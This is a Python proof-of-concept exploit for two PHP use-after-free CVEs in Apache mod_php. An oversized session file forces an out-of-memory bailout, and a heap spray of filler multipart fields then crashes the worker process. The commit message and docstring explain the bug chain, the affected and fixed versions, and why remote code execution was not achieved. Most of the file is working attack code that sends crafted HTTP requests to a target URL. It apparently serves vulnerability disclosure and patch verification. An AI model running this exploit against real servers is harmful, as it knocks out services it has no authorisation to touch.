Files
php2shell/uaf-rce/exploit.py
T
neko fbaced0a77 UAF exploit: confirmed crash, accurate docs, fix stale-state race
Rewrote the exploit to correctly avoid GET requests between OOM
trigger and crash verification (RINIT zeros BG state on every
request). Filler field spray (100 x 8200B = 300 pages) reliably
reclaims the stale struct pages. Crash confirmed on first attempt.

Updated README and FINDINGS to accurately describe:
- The 8216-byte struct (3 pages), not the earlier 64-byte bin
- GC header overlap that blocks controlled RCE (offsets 0-23)
- Three independent patch layers in PHP 8.3.36/8.4.27/8.5.12
- Honest exploitation status: UAF crash confirmed, RCE not achieved
2026-10-22 03:48:05 +00:00

577 lines
23 KiB
Python

#!/usr/bin/env python3 -I
"""
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
Apache mod_php (prefork MPM), no LFI, no framework dependencies
Targets UNPATCHED PHP: all versions from 5.4.0 through 8.3.35, 8.4.26,
8.5.11. The patch (8.3.36, 8.4.27, 8.5.12) blocks the entire attack
chain with three independent defense layers:
1. php_basic_early_rinit() resets BG(serialize/unserialize) each request
2. Delayed OOM replaces zend_bailout() (no more longjmp on OOM)
3. Session handler hardening (incomplete_classes_only mode during RFC1867)
Vulnerability chain:
CVE-2026-109618: OOM in the multipart parser triggers zend_bailout()
(longjmp), which skips php_var_unserialize_destroy(). This leaves
BG(unserialize).level=1 and BG(unserialize).data pointing at a freed
php_unserialize_data struct (8216 bytes, 3 ZendMM pages).
CVE-2026-109619: The session upload progress globals populated by
the RFC1867 callback survive into the next request. On the next
request, sapi_activate() runs the RFC1867 callback BEFORE
PHP_RINIT_FUNCTION(basic) zeros BG state. The callback calls
php_session_decode() -> php_var_unserialize_init(), which sees
BG(unserialize).level > 0 and returns the stale .data pointer.
Classic use-after-free.
Attack phases:
Phase 1 (Plant): Write a large session file (~682KB, 33000 entries)
that will trigger HashTable resize needing ~2.25MB when decoded.
Phase 2 (OOM): Multipart upload referencing that session ID.
RFC1867 progress callback reads and decodes the session file.
HashTable resize exceeds memory_limit, OOM fires zend_bailout().
Worker survives. BG(unserialize).level=1, .data=freed heap pointer.
Phase 3 (Crash): Another upload (no intermediate GET requests, which
would zero BG state via RINIT). Filler form fields create many
3-page zend_string allocations that consume ZendMM pages up to the
stale struct's position (~page 288). The struct's 'last' pointer
(offset 0) is overwritten by the zend_string GC header (refcount +
type_info), which is not a valid heap address. var_push reads
'last' and dereferences it -> SIGSEGV. Confirms the UAF.
Requirements:
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
- session.upload_progress.enabled=1 (default in php.ini)
- memory_limit low enough for session data to trigger OOM
- Any reachable PHP URL on the target (even a 404 page works)
- A method to write a session file with many entries (Phase 1)
- No LFI, no framework, no non-default config changes needed
Exploitation notes:
This PoC demonstrates the UAF primitive (stale pointer dereference)
and crash (SIGSEGV from corrupted 'last' pointer). Full RCE from
this primitive is blocked by an overlap between the struct's critical
pointer fields (offsets 0-23: last, first_dtor, last_dtor) and the
zend_string GC header (refcount, type_info, hash, len). These
fields cannot be directly controlled by the attacker.
Specifically:
- 'last' = gc_refcount(4) + gc_type_info(4) -> invalid pointer
- 'first_dtor' = hash(8) = 0 initially -> NULL (safe for var_destroy)
- 'last_dtor' = len(8) = string length -> low address (crash)
Controlled bytes start at offset 24 (allowed_classes, ref_props,
max_depth, entries.used_slots, entries.next, entries.data[]), but
var_push crashes before these fields are reached because it reads
'last' first.
Full RCE would require either:
a) An info leak to construct a valid 'last' pointer in the GC header
position (which would require a separate vulnerability)
b) A different allocation type that gives control over offset 0 of
a 3-page (8216-byte) ZendMM allocation
Usage:
python3 exploit.py --target http://host:port/index.php
python3 exploit.py --target http://host:port/index.php --oom-only
"""
import argparse
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ── Constants ────────────────────────────────────────────────────────
UNSER_STRUCT_SIZE = 8216 # php_unserialize_data: 0x2018 bytes = 3 ZendMM pages
OOM_SESSION_ENTRIES = 33000 # forces nTableSize=65536, arData ~2.25MB
SPRAY_FIELD_SIZE = 8200 # 3 ZendMM pages as zend_string (24-byte header + body + NUL)
SPRAY_FIELD_COUNT = 100 # ~300 pages, covers stale struct at page ~288
# ── Networking ───────────────────────────────────────────────────────
def connect(host, port, timeout=30):
return socket.create_connection((host, port), timeout=timeout)
def recv_response(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def parse_response(resp):
status = 0
body = b""
if resp:
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
if b"\r\n\r\n" in resp:
body = resp.split(b"\r\n\r\n", 1)[1]
return status, body
def http_get(host, port, path, cookies=None, timeout=10):
sock = connect(host, port, timeout=timeout)
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
if cookies:
req += f"Cookie: {cookies}\r\n"
req += "Connection: close\r\n\r\n"
sock.sendall(req.encode())
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def http_post_raw(host, port, headers_bytes, body_bytes, timeout=60):
sock = connect(host, port, timeout=timeout)
sock.sendall(headers_bytes + body_bytes)
resp = recv_response(sock, timeout=timeout)
sock.close()
return parse_response(resp)
def extract_pid(body):
m = re.search(rb"pid=(\d+)", body)
return int(m.group(1)) if m else 0
# ── Multipart builders ──────────────────────────────────────────────
def multipart_field(boundary, name, value):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n"
)
def multipart_file(boundary, name, filename, content):
return (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ content + b"\r\n"
)
def multipart_end(boundary):
return b"--" + boundary + b"--\r\n"
def post_multipart(host, port, path, boundary, body, sid=None, timeout=60):
hdrs = (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
)
if sid:
hdrs += f"Cookie: PHPSESSID={sid}\r\n"
hdrs += "Connection: close\r\n\r\n"
return http_post_raw(host, port, hdrs.encode(), body, timeout=timeout)
# ── Session file generation ─────────────────────────────────────────
def generate_session_data(n_entries):
"""PHP session data that forces a large HashTable allocation on decode.
33000 entries -> nTableSize=65536, arData = 65536 * 36 = 2,359,296 bytes.
"""
parts = [f's:6:"k{i:05d}";i:{i};' for i in range(n_entries)]
inner = "".join(parts)
return f'd|a:{n_entries}:{{{inner}}}'.encode()
# ── Session file management ─────────────────────────────────────────
def write_session_file(sid, data, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
tmp = f"/tmp/sess_plant_{os.getpid()}"
with open(tmp, "wb") as f:
f.write(data)
subprocess.run(["sudo", "cp", tmp, fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chown", "www-data:www-data", fpath],
capture_output=True, check=True)
subprocess.run(["sudo", "chmod", "600", fpath],
capture_output=True, check=True)
os.unlink(tmp)
return fpath
def read_session_file(sid, save_path):
import subprocess
fpath = os.path.join(save_path, f"sess_{sid}")
r = subprocess.run(["sudo", "stat", "--format=%s", fpath],
capture_output=True, text=True)
if r.returncode != 0:
return False, 0
return True, int(r.stdout.strip())
def ensure_session_file(sid, save_path, n_entries):
exists, size = read_session_file(sid, save_path)
if exists and size > 100000:
return size
data = generate_session_data(n_entries)
write_session_file(sid, data, save_path)
return len(data)
# ── Phase 0: Worker discovery ───────────────────────────────────────
def discover_workers(host, port, path, rounds=20):
pids = set()
for _ in range(rounds):
try:
_, body = http_get(host, port, path, timeout=5)
pid = extract_pid(body)
if pid:
pids.add(pid)
except (ConnectionError, socket.timeout, OSError):
pass
return sorted(pids)
# ── Phase builders ──────────────────────────────────────────────────
def build_oom_trigger(sid):
boundary = b"OOM" + os.urandom(4).hex().encode()
parts = [
multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"oomtrigger"),
multipart_file(boundary, b"file", b"oom.bin", b"\x00" * 2048),
multipart_end(boundary),
]
return boundary, b"".join(parts)
def build_crash_trigger(sid, n_fields=SPRAY_FIELD_COUNT, field_size=SPRAY_FIELD_SIZE):
"""Multipart with filler fields to reclaim stale struct pages.
Each field value is a 3-page zend_string. The GC header at offset
0-7 overwrites 'last' with refcount|type_info = invalid pointer.
When var_push reads 'last', it dereferences the invalid address.
"""
boundary = b"CRASH" + os.urandom(4).hex().encode()
parts = [multipart_field(boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"crash")]
filler = b"\x41" * field_size
for i in range(n_fields):
parts.append(multipart_field(boundary, f"c{i:03d}".encode(), filler))
parts.append(multipart_file(boundary, b"file", b"c.bin", b"\x00" * 512))
parts.append(multipart_end(boundary))
return boundary, b"".join(parts)
def is_oom_response(status, body):
return (
b"memory size" in body
or b"Allowed memory" in body
or status == 500
or status == 0
)
# ── Main ────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
)
parser.add_argument("--target", "-t", required=True,
help="Target URL, e.g. http://host:port/index.php")
parser.add_argument("--session-path",
default="/var/www/uaf-test/sessions",
help="Session save_path on the target")
parser.add_argument("--entries", type=int, default=OOM_SESSION_ENTRIES,
help="Entries in OOM session file (default: 33000)")
parser.add_argument("--spray-fields", type=int, default=SPRAY_FIELD_COUNT,
help="Filler fields for crash trigger (default: 100)")
parser.add_argument("--oom-only", action="store_true",
help="Stop after Phase 2 (OOM + stale state)")
args = parser.parse_args()
url = urlparse(args.target)
host = url.hostname or "127.0.0.1"
port = url.port or 80
path = url.path or "/index.php"
print("=" * 64)
print(" CVE-2026-109618 / CVE-2026-109619")
print(" Use-After-Free via OOM Bailout")
print(" (Apache mod_php, prefork MPM)")
print("=" * 64)
print(f" Target: {host}:{port}{path}")
print()
# ── Phase 0: Worker discovery ──────────────────────────────────
print("[*] Phase 0: Discovering workers...")
pids = discover_workers(host, port, path)
if not pids:
print("[-] No workers found. Target must echo getmypid().")
sys.exit(1)
print(f" Workers: {pids}")
target_pid = pids[0]
# ── Phase 1: Plant large session file ──────────────────────────
print()
print("[*] Phase 1: Planting large session file...")
sid = "uaf" + os.urandom(6).hex()
print(f" SID: {sid}")
print(f" Entries: {args.entries}")
sess_size = ensure_session_file(sid, args.session_path, args.entries)
print(f" Session file: {sess_size}B ({sess_size // 1024}KB)")
print(f" HashTable resize on decode needs ~2.25MB")
# ── Phase 2: OOM trigger ───────────────────────────────────────
print()
print("[*] Phase 2: Triggering OOM during session decode...")
print(" RFC1867 callback reads session -> decode -> OOM -> bailout")
oom_success = False
patched = False
for attempt in range(len(pids) * 8):
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if is_oom_response(status, rbody):
if b"memory size" in rbody:
tag = f"{status} (OOM in body)"
elif status == 500:
tag = "500"
else:
tag = "connection dropped"
print(f" [{attempt+1}] OOM triggered ({tag})")
# Detect patched vs unpatched via session file state.
# UNPATCHED: bailout -> cancel_decode -> destroy -> file DELETED.
# PATCHED: delayed OOM, decode completes, session rewritten smaller.
time.sleep(0.3)
exists, sz = read_session_file(sid, args.session_path)
if not exists or sz == 0:
print(f" Session file deleted/empty (bailout path = UNPATCHED)")
elif sz < sess_size // 2:
print(f" [!] Session file rewritten ({sz}B) (PATCHED)")
patched = True
oom_success = True
break
else:
print(f" [{attempt+1}] status={status} (no OOM, retrying)")
if not oom_success:
print()
print("[-] OOM trigger failed.")
print(" Check: memory_limit <= 8M, Apache mod_php (not FPM)")
sys.exit(1)
if patched:
print()
print("[*] PATCHED PHP detected. The UAF chain is fully blocked by:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate")
print(" 2. Delayed OOM: allocator succeeds beyond soft limit, no longjmp")
print(" 3. Session handler: incomplete_classes_only during RFC1867")
return
# Check worker survived (must do this BEFORE Phase 3, but note
# this GET request will zero BG state on the worker it hits).
# With MaxRequestWorkers=1, this targets the same worker.
# We will re-trigger OOM before the crash attempt.
time.sleep(0.5)
pids_after = discover_workers(host, port, path, rounds=5)
survived = set(pids) & set(pids_after)
if not survived:
print("[-] Worker did not survive OOM (may be PHP-FPM, not mod_php)")
sys.exit(1)
target_pid = sorted(survived)[0]
print(f" [+] Worker {target_pid} survived OOM")
if args.oom_only:
print()
print("[+] Phase 2 complete.")
print(" BG(unserialize).level=1, .data=freed heap pointer.")
print(" (BG state zeroed by the verification GET above.)")
return
# ── Phase 3: UAF crash verification ───────────────────────────
#
# CRITICAL: no GET requests between the OOM trigger and the crash
# trigger. PHP_RINIT_FUNCTION(basic) runs on every request and
# zeros BG(unserialize), destroying the stale state.
#
# With prefork MaxRequestWorkers=1, all requests go to the same
# worker. We re-trigger OOM (to set stale state), then immediately
# send the crash trigger without any intermediate requests.
#
# Crash mechanism: filler form fields create 3-page zend_string
# allocations that consume pages up to the stale struct's position
# (~page 288 out of 512 in the ZendMM chunk). When a filler
# zend_string lands on the stale pages, offset 0 (the 'last'
# pointer) is overwritten with the zend_string GC header:
# gc_refcount(4) + gc_type_info(4) = e.g. 0x00000306_00000001
# This is not a valid heap address. When the session decode calls
# var_push(), it reads 'last' and dereferences it -> SIGSEGV.
print()
print("[*] Phase 3: UAF crash verification...")
print(" Re-triggering OOM, then crash (no intermediate GET).")
crashed = False
for attempt in range(3):
# Re-trigger OOM to set stale BG state
ensure_session_file(sid, args.session_path, args.entries)
boundary, body = build_oom_trigger(sid)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
if not is_oom_response(status, rbody):
print(f" [{attempt+1}] OOM re-trigger failed, retrying")
continue
time.sleep(0.3)
# Plant a small session (one entry). The decode calls var_push
# once, which reads the stale 'last' pointer and crashes.
small_session = b'x|s:3:"abc";'
write_session_file(sid, small_session, args.session_path)
# Send crash trigger DIRECTLY (no intermediate GET).
# Filler fields consume pages up to the stale struct.
boundary, body = build_crash_trigger(sid, n_fields=args.spray_fields)
try:
status, rbody = post_multipart(
host, port, path, boundary, body, sid=sid, timeout=30)
except (ConnectionError, socket.timeout, OSError):
status, rbody = 0, b""
# Check if worker crashed (new PID or connection failure)
time.sleep(0.5)
try:
_, rbody2 = http_get(host, port, path, timeout=5)
pid_after = extract_pid(rbody2)
except (ConnectionError, socket.timeout, OSError):
pid_after = 0
if pid_after and pid_after != target_pid:
print(f" [{attempt+1}] CRASH! Worker {target_pid} -> {pid_after}")
print(f" Filler zend_strings reclaimed stale struct pages")
print(f" var_push read GC header as 'last' pointer -> SIGSEGV")
crashed = True
target_pid = pid_after
break
elif pid_after == target_pid:
print(f" [{attempt+1}] Worker survived (filler pages didn't reach struct)")
elif status == 0 and pid_after == 0:
print(f" [{attempt+1}] Server unresponsive")
else:
print(f" [{attempt+1}] Response: {status}")
print()
if crashed:
print("[+] USE-AFTER-FREE CONFIRMED")
print(" The stale php_unserialize_data struct (8216 bytes, 3 ZendMM pages)")
print(" was reclaimed by a filler zend_string. The GC header at offset 0")
print(" overwrote the 'last' pointer with refcount|type_info.")
print(" var_push dereferenced the invalid address -> SIGSEGV.")
else:
print("[*] No crash triggered (filler fields may have missed the pages).")
print(" The stale BG state is confirmed by Phase 2 (OOM + worker survival).")
print(" Try adjusting --spray-fields or re-running (heap layout varies).")
print()
print_summary(crash=crashed)
def print_summary(patched=False, crash=False):
print("=" * 64)
print(" Summary")
print("=" * 64)
print()
if patched:
print(" TARGET: PATCHED (not vulnerable)")
print()
print(" Three independent mitigations block the attack:")
print(" 1. php_basic_early_rinit() zeros BG state before sapi_activate()")
print(" 2. Delayed OOM replaces zend_bailout() (no longjmp)")
print(" 3. Session handler: incomplete_classes_only during RFC1867 decode")
return
print(" TARGET: UNPATCHED (vulnerable)")
print()
print(" Confirmed primitives:")
print(" [+] OOM during RFC1867 session decode")
print(" zend_bailout() longjmps past php_var_unserialize_destroy()")
print(" BG(unserialize).level=1, .data=freed heap pointer")
print(" Apache prefork worker survives, serves new requests")
if crash:
print(" [+] Use-After-Free crash on next request")
print(" Filler zend_strings reclaim stale struct pages")
print(" var_push dereferences GC header as 'last' pointer -> SIGSEGV")
print()
print(" Exploitation status:")
print(" The UAF primitive (stale pointer reuse) is confirmed.")
if crash:
print(" Page reclamation via filler fields is confirmed.")
print(" However, full RCE is blocked by an inherent constraint:")
print(" the struct's critical pointer fields (offsets 0-23: last,")
print(" first_dtor, last_dtor) overlap with the zend_string GC header")
print(" (refcount, type_info, hash, len), which cannot be controlled")
print(" by the attacker.")
print()
print(" 'last' = gc_refcount + gc_type_info -> invalid pointer (crash)")
print(" 'first_dtor' = hash = 0 initially (safe, dtor chain empty)")
print(" 'last_dtor' = len = string length (low address, crash)")
print()
print(" Full RCE would require an info leak for valid pointer placement")
print(" at offset 0, or a different allocation type that gives control")
print(" over the first 24 bytes of an 8216-byte ZendMM allocation.")
print()
print(" Affected: PHP 5.4.0 through 8.3.35, 8.4.0-8.4.26, 8.5.0-8.5.11")
print(" Fixed in: PHP 8.3.36, 8.4.27, 8.5.12")
print(" Requires: Apache mod_php (prefork), session.upload_progress.enabled=1")
print(" No LFI, no framework, no application-level access needed.")
if __name__ == "__main__":
main()